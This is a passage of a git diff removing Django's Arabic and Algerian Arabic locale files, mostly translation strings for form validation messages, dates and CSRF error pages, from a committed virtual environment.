-msgstr "" -"امتداد الملف “%(extension)s” غير مسموح به. الامتدادات المسموح بها هي:" -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "الأحرف الخالية غير مسموح بها." - -msgid "and" -msgstr "و" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s بهذا %(field_labels)s موجود سلفاً." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "القيمة %(value)r ليست خيارا صحيحاً." - -msgid "This field cannot be null." -msgstr "لا يمكن تعيين null كقيمة لهذا الحقل." - -msgid "This field cannot be blank." -msgstr "لا يمكن ترك هذا الحقل فارغاً." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "النموذج %(model_name)s والحقل %(field_label)s موجود مسبقاً." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s يجب أن يكون فريد لـ %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "حقل نوع: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "قيمة '%(value)s' يجب أن تكون True أو False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "قيمة “%(value)s” يجب أن تكون True , False أو None." - -msgid "Boolean (Either True or False)" -msgstr "ثنائي (إما True أو False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "سلسلة نص (%(max_length)s كحد أقصى)" - -msgid "Comma-separated integers" -msgstr "أرقام صحيحة مفصولة بفواصل" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"قيمة '%(value)s' ليست من بُنية تاريخ صحيحة. القيمة يجب ان تكون من البُنية YYYY-" -"MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "قيمة '%(value)s' من بُنية صحيحة (YYYY-MM-DD) لكنها تحوي تاريخ غير صحيح." - -msgid "Date (without time)" -msgstr "التاريخ (دون الوقت)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"قيمة '%(value)s' ليست من بُنية صحيحة. القيمة يجب ان تكون من البُنية YYYY-MM-DD " -"HH:MM[:ss[.uuuuuu]][TZ] ." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"قيمة '%(value)s' من بُنية صحيحة (YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]) لكنها " -"تحوي وقت و تاريخ غير صحيحين." - -msgid "Date (with time)" -msgstr "التاريخ (مع الوقت)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "قيمة '%(value)s' يجب ان تكون عدد عشري." - -msgid "Decimal number" -msgstr "رقم عشري" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"قيمة '%(value)s' ليست بنسق صحيح. القيمة يجب ان تكون من التنسيق ([DD] " -"[[HH:]MM:]ss[.uuuuuu])" - -msgid "Duration" -msgstr "المدّة" - -msgid "Email address" -msgstr "عنوان بريد إلكتروني" - -msgid "File path" -msgstr "مسار الملف" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "قيمة '%(value)s' يجب ان تكون عدد تعويم." - -msgid "Floating point number" -msgstr "رقم فاصلة عائمة" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "قيمة '%(value)s' يجب ان تكون عدد طبيعي." - -msgid "Integer" -msgstr "عدد صحيح" - -msgid "Big (8 byte) integer" -msgstr "عدد صحيح كبير (8 بايت)" - -msgid "Small integer" -msgstr "عدد صحيح صغير" - -msgid "IPv4 address" -msgstr "عنوان IPv4" - -msgid "IP address" -msgstr "عنوان IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "قيمة '%(value)s' يجب ان تكون None أو True أو False." - -msgid "Boolean (Either True, False or None)" -msgstr "ثنائي (إما True أو False أو None)" - -msgid "Positive big integer" -msgstr "عدد صحيح موجب كبير" - -msgid "Positive integer" -msgstr "عدد صحيح موجب" - -msgid "Positive small integer" -msgstr "عدد صحيح صغير موجب" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (حتى %(max_length)s)" - -msgid "Text" -msgstr "نص" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"قيمة '%(value)s' ليست بنسق صحيح. القيمة يجب ان تكون من التنسيق\n" -"HH:MM[:ss[.uuuuuu]]" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"قيمة '%(value)s' من بُنية صحيحة (HH:MM[:ss[.uuuuuu]]) لكنها تحوي وقت غير صحيح." - -msgid "Time" -msgstr "وقت" - -msgid "URL" -msgstr "رابط" - -msgid "Raw binary data" -msgstr "البيانات الثنائية الخام" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "القيمة \"%(value)s\" ليست UUID صالح." - -msgid "Universally unique identifier" -msgstr "معرّف فريد عالمياً" - -msgid "File" -msgstr "ملف" - -msgid "Image" -msgstr "صورة" - -msgid "A JSON object" -msgstr "كائن JSON" - -msgid "Value must be valid JSON." -msgstr "يجب أن تكون قيمة JSON صالحة." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "النموذج %(model)s ذو الحقل و القيمة %(field)s %(value)r غير موجود." - -msgid "Foreign Key (type determined by related field)" -msgstr "الحقل المرتبط (تم تحديد النوع وفقاً للحقل المرتبط)" - -msgid "One-to-one relationship" -msgstr "علاقة واحد إلى واحد" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s علاقة" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s علاقات" - -msgid "Many-to-many relationship" -msgstr "علاقة متعدد إلى متعدد" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "هذا الحقل مطلوب." - -msgid "Enter a whole number." -msgstr "أدخل رقما صحيحا." - -msgid "Enter a valid date." -msgstr "أدخل تاريخاً صحيحاً." - -msgid "Enter a valid time." -msgstr "أدخل وقتاً صحيحاً." - -msgid "Enter a valid date/time." -msgstr "أدخل تاريخاً/وقتاً صحيحاً." - -msgid "Enter a valid duration." -msgstr "أدخل مدّة صحيحة" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "يجب أن يكون عدد الأيام بين {min_days} و {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "لم يتم ارسال ملف، الرجاء التأكد من نوع ترميز الاستمارة." - -msgid "No file was submitted." -msgstr "لم يتم إرسال اي ملف." - -msgid "The submitted file is empty." -msgstr "الملف الذي قمت بإرساله فارغ." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"تأكد أن إسم هذا الملف يحتوي على %(max)d حرف على الأكثر (هو يحتوي الآن على " -"%(length)d حرف)." -msgstr[1] "" -"تأكد أن إسم هذا الملف يحتوي على حرف %(max)d على الأكثر (هو يحتوي الآن على " -"%(length)d حرف)." -msgstr[2] "" -"تأكد أن إسم هذا الملف يحتوي على %(max)d حرفين على الأكثر (هو يحتوي الآن على " -"%(length)d حرف)." -msgstr[3] "" -"تأكد أن إسم هذا الملف يحتوي على %(max)d حرف على الأكثر (هو يحتوي الآن على " -"%(length)d حرف)." -msgstr[4] "" -"تأكد أن إسم هذا الملف يحتوي على %(max)d حرف على الأكثر (هو يحتوي الآن على " -"%(length)d حرف)." -msgstr[5] "" -"تأكد أن إسم هذا الملف يحتوي على %(max)d حرف على الأكثر (هو يحتوي الآن على " -"%(length)d حرف)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "رجاءً أرسل ملف أو صح علامة صح عند مربع اختيار \"فارغ\"، وليس كلاهما." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"قم برفع صورة صحيحة، الملف الذي قمت برفعه إما أنه ليس ملفا لصورة أو أنه ملف " -"معطوب." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "انتق خياراً صحيحاً. %(value)s ليس أحد الخيارات المتاحة." - -msgid "Enter a list of values." -msgstr "أدخل قائمة من القيم." - -msgid "Enter a complete value." -msgstr "إدخال قيمة كاملة." - -msgid "Enter a valid UUID." -msgstr "أدخل قيمة UUID صحيحة." - -msgid "Enter a valid JSON." -msgstr "أدخل مدخل JSON صالح." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(الحقل الخفي %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"بيانات نموذج الإدارة مفقودة أو تم العبث بها. الحقول المفقودة: " -"%(field_names)s. قد تحتاج إلى تقديم تقرير خطأ إذا استمرت المشكلة." - -#, python-format -msgid "Please submit at most %d form." -msgid_plural "Please submit at most %d forms." -msgstr[0] "الرجاء إرسال %d إستمارة على الأكثر." -msgstr[1] "الرجاء إرسال %d إستمارة على الأكثر." -msgstr[2] "الرجاء إرسال %d إستمارة على الأكثر." -msgstr[3] "الرجاء إرسال %d إستمارة على الأكثر." -msgstr[4] "الرجاء إرسال %d إستمارة على الأكثر." -msgstr[5] "الرجاء إرسال %d إستمارة على الأكثر." - -#, python-format -msgid "Please submit at least %d form." -msgid_plural "Please submit at least %d forms." -msgstr[0] "الرجاء إرسال %d إستمارة على الأقل." -msgstr[1] "الرجاء إرسال %d إستمارة على الأقل." -msgstr[2] "الرجاء إرسال %d إستمارة على الأقل." -msgstr[3] "الرجاء إرسال %d إستمارة على الأقل." -msgstr[4] "الرجاء إرسال %d إستمارة على الأقل." -msgstr[5] "الرجاء إرسال %d إستمارة على الأقل." - -msgid "Order" -msgstr "الترتيب" - -msgid "Delete" -msgstr "احذف" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "رجاء صحّح بيانات %(field)s المتكررة." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "رجاء صحّح بيانات %(field)s المتكررة والتي يجب أن تكون مُميّزة." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"رجاء صحّح بيانات %(field_name)s المتكررة والتي يجب أن تكون مُميّزة لـ%(lookup)s " -"في %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "رجاءً صحّح القيم المُكرّرة أدناه." - -msgid "The inline value did not match the parent instance." -msgstr "لا تتطابق القيمة المضمنة مع المثيل الأصلي." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "انتق خياراً صحيحاً. اختيارك ليس أحد الخيارات المتاحة." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "\"%(pk)s\" ليست قيمة صالحة." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s لا يمكن تفسيرها في المنطقة الزمنية %(current_timezone)s; قد " -"تكون غامضة أو أنها غير موجودة." - -msgid "Clear" -msgstr "تفريغ" - -msgid "Currently" -msgstr "حالياً" - -msgid "Change" -msgstr "عدّل" - -msgid "Unknown" -msgstr "مجهول" - -msgid "Yes" -msgstr "نعم" - -msgid "No" -msgstr "لا" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "نعم,لا,ربما" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d بايت" -msgstr[1] "بايت واحد" -msgstr[2] "بايتان" -msgstr[3] "%(size)d بايتان" -msgstr[4] "%(size)d بايت" -msgstr[5] "%(size)d بايت" - -#, python-format -msgid "%s KB" -msgstr "%s ك.ب" - -#, python-format -msgid "%s MB" -msgstr "%s م.ب" - -#, python-format -msgid "%s GB" -msgstr "%s ج.ب" - -#, python-format -msgid "%s TB" -msgstr "%s ت.ب" - -#, python-format -msgid "%s PB" -msgstr "%s ب.ب" - -msgid "p.m." -msgstr "م" - -msgid "a.m." -msgstr "ص" - -msgid "PM" -msgstr "م" - -msgid "AM" -msgstr "ص" - -msgid "midnight" -msgstr "منتصف الليل" - -msgid "noon" -msgstr "ظهراً" - -msgid "Monday" -msgstr "الاثنين" - -msgid "Tuesday" -msgstr "الثلاثاء" - -msgid "Wednesday" -msgstr "الأربعاء" - -msgid "Thursday" -msgstr "الخميس" - -msgid "Friday" -msgstr "الجمعة" - -msgid "Saturday" -msgstr "السبت" - -msgid "Sunday" -msgstr "الأحد" - -msgid "Mon" -msgstr "إثنين" - -msgid "Tue" -msgstr "ثلاثاء" - -msgid "Wed" -msgstr "أربعاء" - -msgid "Thu" -msgstr "خميس" - -msgid "Fri" -msgstr "جمعة" - -msgid "Sat" -msgstr "سبت" - -msgid "Sun" -msgstr "أحد" - -msgid "January" -msgstr "يناير" - -msgid "February" -msgstr "فبراير" - -msgid "March" -msgstr "مارس" - -msgid "April" -msgstr "إبريل" - -msgid "May" -msgstr "مايو" - -msgid "June" -msgstr "يونيو" - -msgid "July" -msgstr "يوليو" - -msgid "August" -msgstr "أغسطس" - -msgid "September" -msgstr "سبتمبر" - -msgid "October" -msgstr "أكتوبر" - -msgid "November" -msgstr "نوفمبر" - -msgid "December" -msgstr "ديسمبر" - -msgid "jan" -msgstr "يناير" - -msgid "feb" -msgstr "فبراير" - -msgid "mar" -msgstr "مارس" - -msgid "apr" -msgstr "إبريل" - -msgid "may" -msgstr "مايو" - -msgid "jun" -msgstr "يونيو" - -msgid "jul" -msgstr "يوليو" - -msgid "aug" -msgstr "أغسطس" - -msgid "sep" -msgstr "سبتمبر" - -msgid "oct" -msgstr "أكتوبر" - -msgid "nov" -msgstr "نوفمبر" - -msgid "dec" -msgstr "ديسمبر" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "يناير" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "فبراير" - -msgctxt "abbrev. month" -msgid "March" -msgstr "مارس" - -msgctxt "abbrev. month" -msgid "April" -msgstr "إبريل" - -msgctxt "abbrev. month" -msgid "May" -msgstr "مايو" - -msgctxt "abbrev. month" -msgid "June" -msgstr "يونيو" - -msgctxt "abbrev. month" -msgid "July" -msgstr "يوليو" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "أغسطس" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "سبتمبر" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "أكتوبر" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "نوفمبر" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "ديسمبر" - -msgctxt "alt. month" -msgid "January" -msgstr "يناير" - -msgctxt "alt. month" -msgid "February" -msgstr "فبراير" - -msgctxt "alt. month" -msgid "March" -msgstr "مارس" - -msgctxt "alt. month" -msgid "April" -msgstr "أبريل" - -msgctxt "alt. month" -msgid "May" -msgstr "مايو" - -msgctxt "alt. month" -msgid "June" -msgstr "يونيو" - -msgctxt "alt. month" -msgid "July" -msgstr "يوليو" - -msgctxt "alt. month" -msgid "August" -msgstr "أغسطس" - -msgctxt "alt. month" -msgid "September" -msgstr "سبتمبر" - -msgctxt "alt. month" -msgid "October" -msgstr "أكتوبر" - -msgctxt "alt. month" -msgid "November" -msgstr "نوفمبر" - -msgctxt "alt. month" -msgid "December" -msgstr "ديسمبر" - -msgid "This is not a valid IPv6 address." -msgstr "هذا ليس عنوان IPv6 صحيح." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "أو" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "، " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d سنة" -msgstr[1] "%(num)d سنة" -msgstr[2] "%(num)d سنتين" -msgstr[3] "%(num)d سنوات" -msgstr[4] "%(num)d سنوات" -msgstr[5] "%(num)d سنوات" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d شهر" -msgstr[1] "%(num)d شهر" -msgstr[2] "%(num)d شهرين" -msgstr[3] "%(num)d أشهر" -msgstr[4] "%(num)d أشهر" -msgstr[5] "%(num)d أشهر" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d أسبوع" -msgstr[1] "%(num)d أسبوع" -msgstr[2] "%(num)d أسبوعين" -msgstr[3] "%(num)d أسابيع" -msgstr[4] "%(num)d أسابيع" -msgstr[5] "%(num)d أسابيع" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d يوم" -msgstr[1] "%(num)d يوم" -msgstr[2] "%(num)d يومين" -msgstr[3] "%(num)d أيام" -msgstr[4] "%(num)d يوم" -msgstr[5] "%(num)d أيام" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d ساعة" -msgstr[1] "%(num)d ساعة" -msgstr[2] "%(num)d ساعتين" -msgstr[3] "%(num)d ساعات" -msgstr[4] "%(num)d ساعة" -msgstr[5] "%(num)d ساعات" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d دقيقة" -msgstr[1] "%(num)d دقيقة" -msgstr[2] "%(num)d دقيقتين" -msgstr[3] "%(num)d دقائق" -msgstr[4] "%(num)d دقيقة" -msgstr[5] "%(num)d دقيقة" - -msgid "Forbidden" -msgstr "ممنوع" - -msgid "CSRF verification failed. Request aborted." -msgstr "تم الفشل للتحقق من CSRF. تم إنهاء الطلب." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"أنت ترى هذه الرسالة لأن موقع HTTPS هذا يتطلب إرسال “Referer header” بواسطة " -"متصفح الويب الخاص بك، ولكن لم يتم إرسال أي منها. هذا مطلوب لأسباب أمنية، " -"لضمان عدم اختطاف متصفحك من قبل أطراف ثالثة." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"إذا قمت بتكوين المستعرض لتعطيل رؤوس “Referer” ، فيرجى إعادة تمكينها ، على " -"الأقل لهذا الموقع ، أو لاتصالات HTTPS ، أو لطلبات “same-origin”." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"إذا كنت تستخدم العلامة أو " -"تضمين رأس “Referrer-Policy: no-referrer”، يرجى إزالتها. تتطلب حماية CSRF أن " -"يقوم رأس “Referer” بإجراء فحص صارم للمراجع. إذا كنت قلقًا بشأن الخصوصية ، " -"فاستخدم بدائل مثل للروابط إلى مواقع الجهات الخارجية." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"أنت ترى هذه الرسالة لأن هذا الموقع يتطلب كعكة CSRF عند تقديم النماذج. ملف " -"الكعكة هذا مطلوب لأسباب أمنية في تعريف الإرتباط، لضمان أنه لم يتم اختطاف " -"المتصفح من قبل أطراف أخرى." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"إذا قمت بضبط المتصفح لتعطيل الكوكيز الرجاء إعادة تغعيلها، على الأقل بالنسبة " -"لهذا الموقع، أو للطلبات من “same-origin”." - -msgid "More information is available with DEBUG=True." -msgstr "يتوفر مزيد من المعلومات عند ضبط الخيار DEBUG=True." - -msgid "No year specified" -msgstr "لم تحدد السنة" - -msgid "Date out of range" -msgstr "التاريخ خارج النطاق" - -msgid "No month specified" -msgstr "لم تحدد الشهر" - -msgid "No day specified" -msgstr "لم تحدد اليوم" - -msgid "No week specified" -msgstr "لم تحدد الأسبوع" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "لا يوجد %(verbose_name_plural)s" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"التاريخ بالمستقبل %(verbose_name_plural)s غير متوفر لأن قيمة %(class_name)s." -"allow_future هي False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "نسق تاريخ غير صحيح \"%(datestr)s\" محدد بالشكل ''%(format)s\"" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "لم يعثر على أي %(verbose_name)s مطابقة لهذا الإستعلام" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "الصفحة ليست \"الأخيرة\"، كما لا يمكن تحويل القيمة إلى رقم طبيعي." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "صفحة خاطئة (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" -"قائمة فارغة و\n" -"\"%(class_name)s.allow_empty\"\n" -"قيمته False." - -msgid "Directory indexes are not allowed here." -msgstr "لا يسمح لفهارس الدليل هنا." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "”%(path)s“ غير موجود" - -#, python-format -msgid "Index of %(directory)s" -msgstr "فهرس لـ %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "تمت عملية التنصيب بنجاح! تهانينا!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"استعراض ملاحظات الإصدار لجانغو %(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" -"تظهر لك هذه الصفحة لأن DEBUG=True في ملف settings خاصتك كما أنك لم تقم بإعداد الروابط URLs." - -msgid "Django Documentation" -msgstr "وثائق تعليمات جانغو" - -msgid "Topics, references, & how-to’s" -msgstr "المواضيع و المراجع و التعليمات" - -msgid "Tutorial: A Polling App" -msgstr "برنامج تعليمي: تطبيق تصويت" - -msgid "Get started with Django" -msgstr "إبدأ مع جانغو" - -msgid "Django Community" -msgstr "مجتمع جانغو" - -msgid "Connect, get help, or contribute" -msgstr "اتصل بنا أو احصل على مساعدة أو ساهم" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ar/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/ar/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ar/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ar/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 69cfb440..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ar/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ar/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ar/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index c1853006..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ar/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ar/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/ar/formats.py deleted file mode 100644 index 8008ce6e..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ar/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F، Y" -TIME_FORMAT = "g:i A" -# DATETIME_FORMAT = -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "d‏/m‏/Y" -# SHORT_DATETIME_FORMAT = -# FIRST_DAY_OF_WEEK = - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -# NUMBER_GROUPING = diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ar_DZ/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/ar_DZ/LC_MESSAGES/django.mo deleted file mode 100644 index 3c0e3240..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ar_DZ/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ar_DZ/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/ar_DZ/LC_MESSAGES/django.po deleted file mode 100644 index b32da348..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ar_DZ/LC_MESSAGES/django.po +++ /dev/null @@ -1,1397 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jihad Bahmaid Al-Halki, 2022 -# Riterix , 2019-2020 -# Riterix , 2019 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2022-05-17 05:23-0500\n" -"PO-Revision-Date: 2022-07-25 06:49+0000\n" -"Last-Translator: Jihad Bahmaid Al-Halki\n" -"Language-Team: Arabic (Algeria) (http://www.transifex.com/django/django/" -"language/ar_DZ/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ar_DZ\n" -"Plural-Forms: nplurals=6; plural=n==0 ? 0 : n==1 ? 1 : n==2 ? 2 : n%100>=3 " -"&& n%100<=10 ? 3 : n%100>=11 && n%100<=99 ? 4 : 5;\n" - -msgid "Afrikaans" -msgstr "الإفريقية" - -msgid "Arabic" -msgstr "العربية" - -msgid "Algerian Arabic" -msgstr "العربية الجزائرية" - -msgid "Asturian" -msgstr "الأسترية" - -msgid "Azerbaijani" -msgstr "الأذربيجانية" - -msgid "Bulgarian" -msgstr "البلغارية" - -msgid "Belarusian" -msgstr "البيلاروسية" - -msgid "Bengali" -msgstr "البنغالية" - -msgid "Breton" -msgstr "البريتونية" - -msgid "Bosnian" -msgstr "البوسنية" - -msgid "Catalan" -msgstr "الكتلانية" - -msgid "Czech" -msgstr "التشيكية" - -msgid "Welsh" -msgstr "الويلز" - -msgid "Danish" -msgstr "الدنماركية" - -msgid "German" -msgstr "الألمانية" - -msgid "Lower Sorbian" -msgstr "الصربية السفلى" - -msgid "Greek" -msgstr "اليونانية" - -msgid "English" -msgstr "الإنجليزية" - -msgid "Australian English" -msgstr "الإنجليزية الإسترالية" - -msgid "British English" -msgstr "الإنجليزية البريطانية" - -msgid "Esperanto" -msgstr "الاسبرانتو" - -msgid "Spanish" -msgstr "الإسبانية" - -msgid "Argentinian Spanish" -msgstr "الأسبانية الأرجنتينية" - -msgid "Colombian Spanish" -msgstr "الكولومبية الإسبانية" - -msgid "Mexican Spanish" -msgstr "الأسبانية المكسيكية" - -msgid "Nicaraguan Spanish" -msgstr "الإسبانية النيكاراغوية" - -msgid "Venezuelan Spanish" -msgstr "الإسبانية الفنزويلية" - -msgid "Estonian" -msgstr "الإستونية" - -msgid "Basque" -msgstr "الباسك" - -msgid "Persian" -msgstr "الفارسية" - -msgid "Finnish" -msgstr "الفنلندية" - -msgid "French" -msgstr "الفرنسية" - -msgid "Frisian" -msgstr "الفريزية" - -msgid "Irish" -msgstr "الإيرلندية" - -msgid "Scottish Gaelic" -msgstr "الغيلية الأسكتلندية" - -msgid "Galician" -msgstr "الجليقية" - -msgid "Hebrew" -msgstr "العبرية" - -msgid "Hindi" -msgstr "الهندية" - -msgid "Croatian" -msgstr "الكرواتية" - -msgid "Upper Sorbian" -msgstr "الصربية العليا" - -msgid "Hungarian" -msgstr "الهنغارية" - -msgid "Armenian" -msgstr "الأرمنية" - -msgid "Interlingua" -msgstr "اللغة الوسيطة" - -msgid "Indonesian" -msgstr "الإندونيسية" - -msgid "Igbo" -msgstr "إيبو" - -msgid "Ido" -msgstr "ايدو" - -msgid "Icelandic" -msgstr "الآيسلندية" - -msgid "Italian" -msgstr "الإيطالية" - -msgid "Japanese" -msgstr "اليابانية" - -msgid "Georgian" -msgstr "الجورجية" - -msgid "Kabyle" -msgstr "القبائلية" - -msgid "Kazakh" -msgstr "الكازاخستانية" - -msgid "Khmer" -msgstr "الخمر" - -msgid "Kannada" -msgstr "الهندية (كنّادا)" - -msgid "Korean" -msgstr "الكورية" - -msgid "Kyrgyz" -msgstr "القيرغيزية" - -msgid "Luxembourgish" -msgstr "اللوكسمبرجية" - -msgid "Lithuanian" -msgstr "اللتوانية" - -msgid "Latvian" -msgstr "اللاتفية" - -msgid "Macedonian" -msgstr "المقدونية" - -msgid "Malayalam" -msgstr "المايالام" - -msgid "Mongolian" -msgstr "المنغولية" - 